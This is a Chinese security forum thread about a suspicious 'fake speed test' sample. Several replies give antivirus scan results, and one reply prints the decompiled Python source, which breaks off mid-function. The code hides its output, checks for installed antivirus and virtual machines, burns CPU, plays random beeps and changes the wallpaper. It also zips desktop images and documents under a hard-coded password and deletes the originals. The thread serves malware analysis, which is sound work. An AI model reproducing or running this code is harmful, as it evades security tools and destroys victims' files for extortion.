查看: 402|回复: 8
收起左侧

[可疑文件] 虚假网速测试工具

[复制链接]
蒙特卡洛
发表于 11 小时前 | 显示全部楼层 |阅读模式
莒县小哥
发表于 10 小时前 | 显示全部楼层

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
微微的笑
发表于 10 小时前 | 显示全部楼层
esbs  扫描 双击miss
asdfnbbj
发表于 9 小时前 来自手机 | 显示全部楼层
360报毒
dd2006
发表于 9 小时前 | 显示全部楼层
本帖最后由 dd2006 于 2025-12-1 11:24 编辑

红伞 miss
华为 miss
瑞星 miss
SEP miss

Python写的程序吗?
jxfaiu
发表于 8 小时前 | 显示全部楼层
解压秒


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
nulluser1234
发表于 7 小时前 | 显示全部楼层
求求bro不要发这种水样本了,每天就这几种代码变着法子编
  1. # uncompyle6 version 3.9.2
  2. # Python bytecode version base 3.7.0 (3394)
  3. # Decompiled from: Python 3.6.12 (default, Feb  9 2021, 09:19:15)
  4. # [GCC 8.3.0]
  5. # Embedded file name: test.py
  6. import sys, io

  7. class NullIO(io.StringIO):

  8.     def write(self, text):
  9.         pass

  10.     def flush(self):
  11.         pass


  12. original_stdout = sys.stdout
  13. sys.stdout = NullIO()
  14. print("这行文字不会显示")
  15. print("这行也不会显示")
  16. import os, sys, subprocess, winreg, ctypes, psutil, platform
  17. from ctypes import wintypes

  18. def is_antivirus_detected():
  19.     """
  20.     检测系统是否存在杀毒软件
  21.     返回: True (检测到杀毒软件) 或 False (未检测到)
  22.     """
  23.     detection_methods = [
  24.      check_antivirus_processes,
  25.      check_antivirus_services,
  26.      check_antivirus_registry,
  27.      check_antivirus_windows_security_center,
  28.      check_antivirus_install_directories,
  29.      check_antivirus_wmi]
  30.     for method in detection_methods:
  31.         try:
  32.             if method():
  33.                 print(f"检测到杀毒软件 - 方法: {method.__name__}")
  34.                 return True
  35.         except Exception as e:
  36.             try:
  37.                 print(f"检测方法 {method.__name__} 出错: {e}")
  38.                 continue
  39.             finally:
  40.                 e = None
  41.                 del e

  42.     return False


  43. def check_antivirus_processes():
  44.     """
  45.     通过进程列表检测杀毒软件
  46.     """
  47.     antivirus_processes = [
  48.      'msmpeng.exe', 'msmpsvc.exe', 'msseces.exe', 'mssense.exe',
  49.      'ccsvchst.exe',
  50.      'ccapp.exe', 'nav.exe', 'norton.exe',
  51.      'mcshield.exe', 'mcui.exe',
  52.      'mfefire.exe', 'mfemms.exe',
  53.      'avp.exe', 'avpui.exe', 'ksde.exe',
  54.      'bdagent.exe',
  55.      'vsserv.exe', 'bdmcon.exe',
  56.      'avastui.exe', 'avastsvc.exe',
  57.      'aswidsagent.exe',
  58.      'avgui.exe', 'avg.exe', 'avgemc.exe',
  59.      'ekrn.exe',
  60.      'egui.exe',
  61.      'mbam.exe', 'mbamtray.exe', 'mbae.exe',
  62.      'tmccsf.exe',
  63.      'tmlisten.exe',
  64.      'sophos.exe', 'savservice.exe',
  65.      'pavsrv.exe',
  66.      'pavprsrv.exe',
  67.      'cmdagent.exe', 'cistray.exe',
  68.      'avguard.exe',
  69.      'avgnt.exe',
  70.      '360tray.exe', 'zhudongfangyu.exe',
  71.      'qqpcmgr.exe',
  72.      'qqpctray.exe',
  73.      'hipsmain.exe', 'hipsdaemon.exe']
  74.     for process in psutil.process_iter(["name"]):
  75.         try:
  76.             process_name = process.info["name"].lower()
  77.             if any((av_process in process_name for av_process in antivirus_processes)):
  78.                 print(f"检测到杀毒软件进程: {process_name}")
  79.                 return True
  80.         except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
  81.             pass

  82.     return False


  83. def check_antivirus_services():
  84.     """
  85.     通过服务列表检测杀毒软件
  86.     """
  87.     antivirus_services = [
  88.      'WinDefend', 'MsMpSvc', 'Norton', 'McAfee', 'Kaspersky',
  89.      'BitDefender',
  90.      'Avast', 'AVG', 'ESET', 'Malwarebytes',
  91.      'Sophos', 'Panda',
  92.      'Comodo', 'Avira', '360', 'QQPCMGR']
  93.     try:
  94.         result = subprocess.run([
  95.          'sc', 'query', 'type=', 'service', 'state=', 'all'],
  96.           capture_output=True,
  97.           text=True,
  98.           timeout=30)
  99.         if result.returncode == 0:
  100.             for service in antivirus_services:
  101.                 if service.lower() in result.stdout.lower():
  102.                     print(f"检测到杀毒软件服务: {service}")
  103.                     return True

  104.     except Exception as e:
  105.         try:
  106.             print(f"服务检测出错: {e}")
  107.         finally:
  108.             e = None
  109.             del e

  110.     return False


  111. def check_antivirus_registry():
  112.     """
  113.     通过注册表检测杀毒软件
  114.     """
  115.     antivirus_registry_paths = [
  116.      'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
  117.      'SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
  118.      'SOFTWARE\\Microsoft\\Windows Defender',
  119.      'SOFTWARE\\Microsoft\\Security Center',
  120.      'SOFTWARE\\AVAST Software',
  121.      'SOFTWARE\\AVG',
  122.      'SOFTWARE\\KasperskyLab',
  123.      'SOFTWARE\\McAfee',
  124.      'SOFTWARE\\Norton',
  125.      'SOFTWARE\\Bitdefender',
  126.      'SOFTWARE\\ESET',
  127.      'SOFTWARE\\Sophos',
  128.      'SOFTWARE\\Panda Security',
  129.      'SOFTWARE\\TrendMicro',
  130.      'SOFTWARE\\Qihoo 360',
  131.      'SOFTWARE\\Tencent\\QQPCMGR']
  132.     antivirus_keywords = [
  133.      'antivirus', 'antimalware', 'security', 'defender', 'protection',
  134.      'avast',
  135.      'avg', 'kaspersky', 'mcafee', 'norton', 'bitdefender',
  136.      'eset',
  137.      'malwarebytes', 'sophos', 'panda', 'trendmicro', '360',
  138.      'qqpcmgr',
  139.      '火绒', '金山毒霸']
  140.     for path in antivirus_registry_paths:
  141.         try:
  142.             key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, path)
  143.             try:
  144.                 i = 0
  145.                 while True:
  146.                     try:
  147.                         subkey_name = winreg.EnumKey(key, i)
  148.                         subkey_path = f"{path}\\{subkey_name}"
  149.                         if any((keyword in subkey_name.lower() for keyword in antivirus_keywords)):
  150.                             print(f"检测到杀毒软件注册表项: {subkey_path}")
  151.                             return True
  152.                         try:
  153.                             subkey = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, subkey_path)
  154.                             try:
  155.                                 j = 0
  156.                                 while True:
  157.                                     try:
  158.                                         name, value, _ = winreg.EnumValue(subkey, j)
  159.                                         if any((keyword in str(value).lower() for keyword in antivirus_keywords)):
  160.                                             print(f"检测到杀毒软件注册表值: {subkey_path}\\{name}")
  161.                                             return True
  162.                                         j += 1
  163.                                     except OSError:
  164.                                         break

  165.                             finally:
  166.                                 winreg.CloseKey(subkey)
  167.                         except WindowsError:
  168.                             pass

  169.                         i += 1
  170.                     except OSError:
  171.                         break

  172.             finally:
  173.                 winreg.CloseKey(key)
  174.         except WindowsError:
  175.             continue

  176.     return False


  177. def check_antivirus_windows_security_center():
  178.     """
  179.     通过Windows安全中心检测杀毒软件
  180.     """
  181.     try:
  182.         import wmi
  183.         c = wmi.WMI()
  184.         for product in c.Win32_Product():
  185.             if product.Name and any((keyword in product.Name.lower() for keyword in ('antivirus',
  186.                                                                                      'security',
  187.                                                                                      'defender',
  188.                                                                                      'protection'))):
  189.                 print(f"检测到安全产品: {product.Name}")
  190.                 return True

  191.         for anti_virus in c.Win32_ComputerSystem():
  192.             if hasattr(anti_virus, "AntivirusProduct") and anti_virus.AntivirusProduct:
  193.                 print("检测到Windows安全中心中的防病毒产品")
  194.                 return True

  195.     except Exception as e:
  196.         try:
  197.             print(f"安全中心检测出错: {e}")
  198.         finally:
  199.             e = None
  200.             del e

  201.     return False


  202. def check_antivirus_install_directories():
  203.     """
  204.     通过常见安装目录检测杀毒软件
  205.     """
  206.     antivirus_directories = [
  207.      'C:\\Program Files\\Windows Defender',
  208.      'C:\\Program Files\\Microsoft Security Client',
  209.      'C:\\Program Files\\AVAST Software',
  210.      'C:\\Program Files\\AVG',
  211.      'C:\\Program Files\\Kaspersky Lab',
  212.      'C:\\Program Files\\McAfee',
  213.      'C:\\Program Files\\Norton',
  214.      'C:\\Program Files\\Bitdefender',
  215.      'C:\\Program Files\\ESET',
  216.      'C:\\Program Files\\Malwarebytes',
  217.      'C:\\Program Files\\Sophos',
  218.      'C:\\Program Files\\Panda Security',
  219.      'C:\\Program Files\\Trend Micro',
  220.      'C:\\Program Files\\360',
  221.      'C:\\Program Files\\Tencent\\QQPCMGR',
  222.      'C:\\Program Files (x86)\\Windows Defender',
  223.      'C:\\Program Files (x86)\\Microsoft Security Client',
  224.      'C:\\Program Files (x86)\\AVAST Software',
  225.      'C:\\Program Files (x86)\\AVG',
  226.      'C:\\Program Files (x86)\\Kaspersky Lab',
  227.      'C:\\Program Files (x86)\\McAfee',
  228.      'C:\\Program Files (x86)\\Norton',
  229.      'C:\\Program Files (x86)\\Bitdefender',
  230.      'C:\\Program Files (x86)\\ESET',
  231.      'C:\\Program Files (x86)\\Malwarebytes',
  232.      'C:\\Program Files (x86)\\Sophos',
  233.      'C:\\Program Files (x86)\\Panda Security',
  234.      'C:\\Program Files (x86)\\Trend Micro',
  235.      'C:\\Program Files (x86)\\360',
  236.      'C:\\Program Files (x86)\\Tencent\\QQPCMGR']
  237.     for directory in antivirus_directories:
  238.         if os.path.exists(directory):
  239.             print(f"检测到杀毒软件安装目录: {directory}")
  240.             return True

  241.     return False


  242. def check_antivirus_wmi():
  243.     """
  244.     使用WMI查询安全产品
  245.     """
  246.     try:
  247.         result = subprocess.run([
  248.          'wmic', '/namespace:\\\\root\\securitycenter2', 'path',
  249.          'antivirusproduct',
  250.          'get', 'displayName',
  251.          '/value'],
  252.           capture_output=True,
  253.           text=True,
  254.           timeout=30)
  255.         if result.returncode == 0:
  256.             if result.stdout.strip():
  257.                 lines = result.stdout.strip().split("\n")
  258.                 for line in lines:
  259.                     if line.startswith("displayName="):
  260.                         av_name = line.split("=", 1)[1]
  261.                         if av_name and av_name.lower() not in ('', 'none'):
  262.                             print(f"WMI检测到杀毒软件: {av_name}")
  263.                             return True

  264.     except Exception as e:
  265.         try:
  266.             print(f"WMI检测出错: {e}")
  267.         finally:
  268.             e = None
  269.             del e

  270.     return False


  271. def main():
  272.     """
  273.     主函数 - 检测杀毒软件并决定是否退出
  274.     """
  275.     print("开始检测系统是否存在杀毒软件...")
  276.     print("==================================================")
  277.     if platform.system() != "Windows":
  278.         print("此脚本仅适用于Windows系统")
  279.     elif is_antivirus_detected():
  280.         print("\n==================================================")
  281.         print("检测到杀毒软件存在,程序将退出...")
  282.     else:
  283.         print("\n==================================================")
  284.         print("未检测到杀毒软件,程序继续运行...")
  285.         print("执行正常程序逻辑...")


  286. if __name__ == "__main__":
  287.     try:
  288.         import psutil
  289.     except ImportError:
  290.         print("请安装psutil库: pip install psutil")

  291.     try:
  292.         import wmi
  293.     except ImportError:
  294.         print("wmi库未安装,部分检测功能可能受限")

  295.     main()
  296. else:
  297.     import platform, subprocess, sys

  298.     def is_virtual_machine():
  299.         """
  300.     检测当前是否在虚拟机环境中运行
  301.     返回: True (虚拟机) 或 False (物理机)
  302.     """
  303.         system = platform.system().lower()
  304.         if system == "windows":
  305.             try:
  306.                 import winreg
  307.                 with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum") as key:
  308.                     value, _ = winreg.QueryValueEx(key, "0")
  309.                     vm_indicators = ['vmware', 'virtual', 'vbox', 'qemu', 'xen', 'hyper-v']
  310.                     if any((indicator in value.lower() for indicator in vm_indicators)):
  311.                         return True
  312.             except:
  313.                 pass

  314.         try:
  315.             system_info = platform.uname()
  316.             vm_strings = [
  317.              'vmware', 'virtualbox', 'qemu', 'xen',
  318.              'kvm',
  319.              'microsoft corporation',
  320.              'innotek gmbh', 'parallels']
  321.             system_info_str = str(system_info).lower()
  322.             if any((vm_str in system_info_str for vm_str in vm_strings)):
  323.                 return True
  324.         except:
  325.             pass

  326.         if system in ('linux', 'darwin'):
  327.             vm_files = ["/sys/class/dmi/id/product_name",
  328.              "/sys/class/dmi/id/sys_vendor",
  329.              "/proc/scsi/scsi"]
  330.             for vm_file in vm_files:
  331.                 try:
  332.                     with open(vm_file, "r") as f:
  333.                         content = f.read().lower()
  334.                         vm_indicators = ['vmware', 'virtualbox', 'qemu', 'xen', 'kvm', 'bochs']
  335.                         if any((indicator in content for indicator in vm_indicators)):
  336.                             return True
  337.                 except:
  338.                     continue

  339.         try:
  340.             if system == "windows":
  341.                 import wmi
  342.                 c = wmi.WMI()
  343.                 for process in c.Win32_Process():
  344.                     if any((vm_proc in process.Name.lower() for vm_proc in ('vmware',
  345.                                                                             'vbox',
  346.                                                                             'qemu'))):
  347.                         return True

  348.             else:
  349.                 result = subprocess.run(["ps", "aux"], capture_output=True, text=True)
  350.                 vm_processes = ["vmware", "virtualbox", "qemu", "vbox"]
  351.                 if any((vm_proc in result.stdout.lower() for vm_proc in vm_processes)):
  352.                     return True
  353.         except:
  354.             pass

  355.         try:
  356.             if system == "linux":
  357.                 result = subprocess.run(["lscpu"], capture_output=True, text=True)
  358.                 if "hypervisor" in result.stdout.lower():
  359.                     return True
  360.         except:
  361.             pass

  362.         return False


  363.     import threading, time, hashlib, random, string

  364.     def random_hash_calculation(stop_event):
  365.         """
  366.     在后台线程中执行随机的hash计算
  367.     """
  368.         calculation_count = 0
  369.         while not stop_event.is_set():
  370.             random_data = "".join(random.choices((string.ascii_letters + string.digits), k=1024))
  371.             algorithms = [
  372.              hashlib.md5, hashlib.sha1, hashlib.sha256, hashlib.sha512]
  373.             algorithm = random.choice(algorithms)
  374.             hash_obj = algorithm()
  375.             hash_obj.update(random_data.encode("utf-8"))
  376.             _ = hash_obj.hexdigest()
  377.             calculation_count += 1
  378.             time.sleep(0.001)


  379.     def start_hash_calculation_for_60s():
  380.         """
  381.     启动一个新线程运行随机hash计算60秒
  382.     """
  383.         stop_event = threading.Event()
  384.         hash_thread = threading.Thread(target=random_hash_calculation,
  385.           args=(
  386.          stop_event,),
  387.           name="HashCalculationThread")
  388.         hash_thread.daemon = True
  389.         start_time = time.time()
  390.         hash_thread.start()
  391.         time.sleep(60)
  392.         stop_event.set()
  393.         end_time = time.time()
  394.         hash_thread.join(timeout=5)
  395.         return True


  396.     def start_hash_calculation_timed(duration=60):
  397.         """
  398.     使用Timer在指定时间后自动停止hash计算
  399.     """
  400.         stop_event = threading.Event()

  401.         def stop_calculation():
  402.             stop_event.set()
  403.             print("")

  404.         timer = threading.Timer(duration, stop_calculation)
  405.         timer.start()
  406.         calc_thread = threading.Thread(target=random_hash_calculation,
  407.           args=(
  408.          stop_event,),
  409.           daemon=True)
  410.         print(f"")
  411.         calc_thread.start()
  412.         calc_thread.join()
  413.         timer.cancel()
  414.         print("")
  415.         return True


  416.     if __name__ == "__main__":
  417.         start_hash_calculation_for_60s()
  418.         print("\n==================================================\n")
  419.         start_hash_calculation_timed(60)
  420.     import threading, time, random, winsound

  421.     def random_beep_60s():
  422.         """
  423.     在Windows系统上发出随机的beep声音,持续60秒
  424.     """
  425.         stop_event = threading.Event()

  426.         def beep_worker():
  427.             """
  428.         在后台线程中发出随机beep声音
  429.         """
  430.             start_time = time.time()
  431.             beep_count = 0
  432.             while not stop_event.is_set():
  433.                 frequency = random.randint(200, 2000)
  434.                 duration = random.randint(50, 500)
  435.                 try:
  436.                     winsound.Beep(frequency, duration)
  437.                     beep_count += 1
  438.                 except Exception as e:
  439.                     try:
  440.                         print(f"Beep错误: {e}")
  441.                     finally:
  442.                         e = None
  443.                         del e

  444.                 interval = random.randint(10, 500) / 1000.0
  445.                 time.sleep(interval)

  446.             end_time = time.time()
  447.             print(f"Beep完成: 共发出 {beep_count} 次beep,持续 {end_time - start_time:.2f} 秒")

  448.         beep_thread = threading.Thread(target=beep_worker, daemon=True)
  449.         print("")
  450.         start_time = time.time()
  451.         beep_thread.start()
  452.         time.sleep(60)
  453.         stop_event.set()
  454.         beep_thread.join(timeout=2)
  455.         end_time = time.time()
  456.         print(f"Beep任务完成,总运行时间: {end_time - start_time:.2f} 秒")


  457.     def random_beep(duration=60, min_freq=200, max_freq=2000, min_duration=50, max_duration=500):
  458.         """
  459.     发出随机beep声音的灵活版本
  460.    
  461.     参数:
  462.     - duration: 总持续时间(秒)
  463.     - min_freq: 最小频率(Hz)
  464.     - max_freq: 最大频率(Hz)
  465.     - min_duration: 最小beep持续时间(毫秒)
  466.     - max_duration: 最大beep持续时间(毫秒)
  467.     """
  468.         stop_event = threading.Event()

  469.         def beep_worker():
  470.             beep_count = 0
  471.             while not stop_event.is_set():
  472.                 frequency = random.randint(min_freq, max_freq)
  473.                 beep_duration = random.randint(min_duration, max_duration)
  474.                 try:
  475.                     winsound.Beep(frequency, beep_duration)
  476.                     beep_count += 1
  477.                 except Exception:
  478.                     pass

  479.                 interval = random.randint(10, 500) / 1000.0
  480.                 time.sleep(interval)

  481.             print(f" {beep_count} ")

  482.         beep_thread = threading.Thread(target=beep_worker, daemon=True)
  483.         print(f" {duration} ...")
  484.         beep_thread.start()
  485.         time.sleep(duration)
  486.         stop_event.set()
  487.         beep_thread.join(timeout=2)
  488.         print("Beep任务完成")


  489.     def rhythmic_beep_60s():
  490.         """
  491.     创建有节奏的beep模式,持续60秒
  492.     """
  493.         stop_event = threading.Event()

  494.         def rhythm_worker():
  495.             patterns = [
  496.              [
  497.               (440, 200), (0, 100), (440, 200)],
  498.              [
  499.               (440, 400), (0, 200)],
  500.              [
  501.               (440, 100), (0, 50), (440, 100), (0, 50),
  502.               (440, 100)]]
  503.             start_time = time.time()
  504.             while not stop_event.is_set():
  505.                 pattern = random.choice(patterns)
  506.                 for freq, duration in pattern:
  507.                     if stop_event.is_set():
  508.                         break
  509.                     if freq > 0:
  510.                         try:
  511.                             winsound.Beep(freq, duration)
  512.                         except Exception:
  513.                             pass

  514.                     time.sleep(duration / 1000.0)

  515.         rhythm_thread = threading.Thread(target=rhythm_worker, daemon=True)
  516.         print("...")
  517.         rhythm_thread.start()
  518.         time.sleep(60)
  519.         stop_event.set()
  520.         rhythm_thread.join(timeout=2)
  521.         print("")


  522.     if __name__ == "__main__":
  523.         random_beep_60s()
  524.         print("\n==================================================\n")
  525.         random_beep(duration=30, min_freq=300, max_freq=1500)
  526.         print("\n==================================================\n")
  527.         rhythmic_beep_60s()
  528.     import os, time, random, threading
  529.     from PIL import Image, ImageDraw
  530.     import ctypes
  531.     from ctypes import wintypes
  532.     import tempfile

  533.     def set_wallpaper(image_path):
  534.         """
  535.     设置Windows桌面壁纸
  536.     """
  537.         try:
  538.             SPI_SETDESKWALLPAPER = 20
  539.             SPIF_UPDATEINIFILE = 1
  540.             SPIF_SENDWININICHANGE = 2
  541.             result = ctypes.windll.user32.SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, image_path, SPIF_UPDATEINIFILE | SPIF_SENDWININICHANGE)
  542.             return result
  543.         except Exception as e:
  544.             try:
  545.                 print(f"设置壁纸失败: {e}")
  546.                 return False
  547.             finally:
  548.                 e = None
  549.                 del e


  550.     def generate_random_image(width=1920, height=1080):
  551.         """
  552.     生成随机图片
  553.     """
  554.         image = Image.new("RGB", (width, height), color="white")
  555.         draw = ImageDraw.Draw(image)
  556.         bg_color = (
  557.          random.randint(0, 255),
  558.          random.randint(0, 255),
  559.          random.randint(0, 255))
  560.         draw.rectangle([0, 0, width, height], fill=bg_color)
  561.         for _ in range(random.randint(5, 20)):
  562.             color = (
  563.              random.randint(0, 255),
  564.              random.randint(0, 255),
  565.              random.randint(0, 255))
  566.             shape_type = random.choice(["rectangle", "ellipse", "polygon"])
  567.             x1 = random.randint(0, width)
  568.             y1 = random.randint(0, height)
  569.             x2 = random.randint(x1, width)
  570.             y2 = random.randint(y1, height)
  571.             if shape_type == "rectangle":
  572.                 draw.rectangle([x1, y1, x2, y2], fill=color)
  573.             elif shape_type == "ellipse":
  574.                 draw.ellipse([x1, y1, x2, y2], fill=color)
  575.             elif shape_type == "polygon":
  576.                 points = []
  577.                 for _ in range(random.randint(3, 8)):
  578.                     points.append((random.randint(0, width), random.randint(0, height)))

  579.                 draw.polygon(points, fill=color)

  580.         for _ in range(random.randint(10, 30)):
  581.             color = (random.randint(0, 255),
  582.              random.randint(0, 255),
  583.              random.randint(0, 255))
  584.             width_line = random.randint(1, 10)
  585.             x1 = random.randint(0, width)
  586.             y1 = random.randint(0, height)
  587.             x2 = random.randint(0, width)
  588.             y2 = random.randint(0, height)
  589.             draw.line([x1, y1, x2, y2], fill=color, width=width_line)

  590.         return image


  591.     def change_wallpaper_periodically(stop_event, interval=2):
  592.         """
  593.     定期更换壁纸
  594.     """
  595.         temp_dir = tempfile.gettempdir()
  596.         change_count = 0
  597.         start_time = time.time()
  598.         while not stop_event.is_set():
  599.             try:
  600.                 image = generate_random_image()
  601.                 temp_file = os.path.join(temp_dir, f"wallpaper_{change_count}.bmp")
  602.                 image.save(temp_file, "BMP")
  603.                 if set_wallpaper(temp_file):
  604.                     change_count += 1
  605.                     print(f"已更换壁纸 #{change_count}")
  606.                 else:
  607.                     print("壁纸更换失败")
  608.                 stop_event.wait(interval)
  609.             except Exception as e:
  610.                 try:
  611.                     print(f"更换壁纸时出错: {e}")
  612.                 finally:
  613.                     e = None
  614.                     del e

  615.         for i in range(change_count):
  616.             try:
  617.                 temp_file = os.path.join(temp_dir, f"wallpaper_{i}.bmp")
  618.                 if os.path.exists(temp_file):
  619.                     os.remove(temp_file)
  620.             except:
  621.                 pass

  622.         end_time = time.time()
  623.         print(f"壁纸更换完成: 共更换 {change_count} 次,持续 {end_time - start_time:.2f} 秒")


  624.     def run_wallpaper_changer(duration=60, interval=2):
  625.         """
  626.     运行壁纸更换器
  627.    
  628.     参数:
  629.     - duration: 总运行时间(秒)
  630.     - interval: 壁纸更换间隔(秒)
  631.     """
  632.         stop_event = threading.Event()
  633.         wallpaper_thread = threading.Thread(target=change_wallpaper_periodically,
  634.           args=(
  635.          stop_event, interval),
  636.           daemon=True)
  637.         print(f"开始随机更换壁纸,将持续 {duration} 秒,间隔 {interval} 秒...")
  638.         wallpaper_thread.start()
  639.         time.sleep(duration)
  640.         stop_event.set()
  641.         print("正在停止壁纸更换...")
  642.         wallpaper_thread.join(timeout=5)
  643.         print("壁纸更换任务完成")


  644.     def advanced_wallpaper_changer(duration=60, interval=2, width=1920, height=1080, complexity='medium'):
  645.         """
  646.     高级壁纸更换器
  647.    
  648.     参数:
  649.     - duration: 总运行时间(秒)
  650.     - interval: 壁纸更换间隔(秒)
  651.     - width: 图片宽度
  652.     - height: 图片高度
  653.     - complexity: 图片复杂度 ("low", "medium", "high")
  654.     """
  655.         stop_event = threading.Event()

  656.         def advanced_image_generator():
  657.             temp_dir = tempfile.gettempdir()
  658.             change_count = 0
  659.             start_time = time.time()
  660.             if complexity == "low":
  661.                 shapes_range = (3, 10)
  662.                 lines_range = (5, 15)
  663.             else:
  664.                 if complexity == "high":
  665.                     shapes_range = (10, 30)
  666.                     lines_range = (20, 50)
  667.                 else:
  668.                     shapes_range = (5, 20)
  669.                     lines_range = (10, 30)
  670.             while not stop_event.is_set():
  671.                 try:
  672.                     image = Image.new("RGB", (width, height), color="white")
  673.                     draw = ImageDraw.Draw(image)
  674.                     for y in range(height):
  675.                         r = int(y / height * 255)
  676.                         g = random.randint(0, 255)
  677.                         b = int((height - y) / height * 255)
  678.                         draw.line([(0, y), (width, y)], fill=(r, g, b))

  679.                     for _ in range((random.randint)(*shapes_range)):
  680.                         color = (
  681.                          random.randint(0, 255),
  682.                          random.randint(0, 255),
  683.                          random.randint(0, 255),
  684.                          random.randint(128, 255))
  685.                         shape_type = random.choice(["rectangle", "ellipse", "polygon"])
  686.                         x1 = random.randint(0, width)
  687.                         y1 = random.randint(0, height)
  688.                         size = random.randint(50, min(width, height) // 3)
  689.                         x2 = x1 + size
  690.                         y2 = y1 + size
  691.                         if shape_type == "rectangle":
  692.                             draw.rectangle([x1, y1, x2, y2], fill=(color[None[:3]]))
  693.                         elif shape_type == "ellipse":
  694.                             draw.ellipse([x1, y1, x2, y2], fill=(color[None[:3]]))
  695.                         elif shape_type == "polygon":
  696.                             points = []
  697.                             center_x = (x1 + x2) // 2
  698.                             center_y = (y1 + y2) // 2
  699.                             radius = size // 2
  700.                             sides = random.randint(3, 8)
  701.                             for i in range(sides):
  702.                                 angle = 6.28318 * i / sides
  703.                                 px = center_x + radius * random.uniform(0.7, 1.3) * math.cos(angle)
  704.                                 py = center_y + radius * random.uniform(0.7, 1.3) * math.sin(angle)
  705.                                 points.append((px, py))

  706.                             draw.polygon(points, fill=(color[None[:3]]))

  707.                     temp_file = os.path.join(temp_dir, f"wallpaper_adv_{change_count}.bmp")
  708.                     image.save(temp_file, "BMP")
  709.                     if set_wallpaper(temp_file):
  710.                         change_count += 1
  711.                         print(f"已更换高级壁纸 #{change_count}")
  712.                     stop_event.wait(interval)
  713.                 except Exception as e:
  714.                     try:
  715.                         print(f"更换高级壁纸时出错: {e}")
  716.                     finally:
  717.                         e = None
  718.                         del e

  719.             for i in range(change_count):
  720.                 try:
  721.                     temp_file = os.path.join(temp_dir, f"wallpaper_adv_{i}.bmp")
  722.                     if os.path.exists(temp_file):
  723.                         os.remove(temp_file)
  724.                 except:
  725.                     pass

  726.             end_time = time.time()
  727.             print(f"高级壁纸更换完成: 共更换 {change_count} 次,持续 {end_time - start_time:.2f} 秒")

  728.         wallpaper_thread = threading.Thread(target=advanced_image_generator, daemon=True)
  729.         print(f"开始高级随机更换壁纸,将持续 {duration} 秒...")
  730.         wallpaper_thread.start()
  731.         time.sleep(duration)
  732.         stop_event.set()
  733.         wallpaper_thread.join(timeout=5)
  734.         print("高级壁纸更换任务完成")


  735.     if __name__ == "__main__":
  736.         import math
  737.         print("Windows随机壁纸更换器")
  738.         print("==================================================")
  739.         run_wallpaper_changer(duration=60, interval=3)
  740.         print("\n==================================================\n")
  741.         advanced_wallpaper_changer(duration=30, interval=2, width=1920, height=1080, complexity="medium")
  742.     import os, zipfile, glob, shutil
  743.     from pathlib import Path
  744.     import os, zipfile, glob, shutil
  745.     from pathlib import Path

  746.     def pack_desktop_files():
  747.         """
  748.     将桌面上的所有图片和文档打包成带密码的ZIP文件,并删除原文件
  749.     密码: @@@l1
  750.     遇到任何错误都不会中断执行
  751.     """
  752.         image_extensions = [
  753.          '*.jpg', '*.jpeg', '*.png', '*.gif', '*.bmp', '*.tiff',
  754.          '*.webp', '*.ico', '*.svg']
  755.         document_extensions = ['*.pdf', '*.doc', '*.docx', '*.txt', '*.rtf', '*.odt', '*.xls', '*.xlsx',
  756.          '*.ppt',
  757.          '*.pptx', '*.csv', '*.md', '*.xml', '*.json', '*.html',
  758.          '*.htm']
  759.         desktop_path = get_desktop_path()
  760.         if not desktop_path:
  761.             print("无法获取桌面路径")
  762.             return False
  763.         all_files = []
  764.         for ext in image_extensions:
  765.             try:
  766.                 pattern = os.path.join(desktop_path, ext)
  767.                 files = glob.glob(pattern)
  768.                 all_files.extend(files)
  769.                 pattern_upper = os.path.join(desktop_path, ext.upper())
  770.                 files_upper = glob.glob(pattern_upper)
  771.                 all_files.extend(files_upper)
  772.             except Exception as e:
  773.                 try:
  774.                     continue
  775.                 finally:
  776.                     e = None
  777.                     del e

  778.         for ext in document_extensions:
  779.             try:
  780.                 pattern = os.path.join(desktop_path, ext)
  781.                 files = glob.glob(pattern)
  782.                 all_files.extend(files)
  783.                 pattern_upper = os.path.join(desktop_path, ext.upper())
  784.                 files_upper = glob.glob(pattern_upper)
  785.                 all_files.extend(files_upper)
  786.             except Exception as e:
  787.                 try:
  788.                     continue
  789.                 finally:
  790.                     e = None
  791.                     del e

  792.         all_files = list(set(all_files))
  793.         if not all_files:
  794.             print("桌面上未找到图片或文档文件")
  795.             return False
  796.         zip_filename = os.path.join(desktop_path, "desktop_files.zip")
  797.         counter = 1
  798.         while os.path.exists(zip_filename):
  799.             zip_filename = os.path.join(desktop_path, f"desktop_files_{counter}.zip")
  800.             counter += 1

  801.         password = "@@@l1"
  802.         try:
  803.             with zipfile.ZipFile(zip_filename, "w", zipfile.ZIP_DEFLATED) as zipf:
  804.                 zipf.setpassword(password.encode("utf-8"))
  805.                 for file_path in all_files:
  806.                     try:
  807.                         file_name = os.path.basename(file_path)
  808.                         zipf.write(file_path, file_name)
  809.                         print(f"已添加: {file_name}")
  810.                     except Exception as e:
  811.                         try:
  812.                             print(f"添加文件失败 {file_path}: {str(e)}")
  813.                             continue
  814.                         finally:
  815.                             e = None
  816.                             del e

  817.             if os.path.exists(zip_filename):
  818.                 if os.path.getsize(zip_filename) > 0:
  819.                     print(f"ZIP文件创建成功: {zip_filename}")
  820.                     deleted_count = 0
  821.                     for file_path in all_files:
  822.                         try:
  823.                             if os.path.exists(file_path):
  824.                                 os.remove(file_path)
  825.                                 deleted_count += 1
  826.                                 print(f"已删除: {os.path.basename(file_path)}")
  827.                         except Exception as e:
  828.                             try:
  829.                                 print(f"删除文件失败 {file_path}: {str(e)}")
  830.                                 continue
  831.                             finally:
  832.                                 e = None
  833.                                 del e

  834.                     print(f"操作完成: 成功打包 {len(all_files)} 个文件,删除了 {deleted_count} 个原文件")
  835.                     return True
  836.             print("ZIP文件创建失败")
  837.             return False
  838.         except Exception as e:
  839.             try:
  840.                 print(f"创建ZIP文件时出错: {str(e)}")
  841.                 return False
  842.             finally:
  843.                 e = None
  844.                 del e


  845.     def get_desktop_path():
  846.         """
  847.     获取桌面路径(跨平台)
  848.     """
  849.         try:
  850.             if os.name == "nt":
  851.                 import winreg
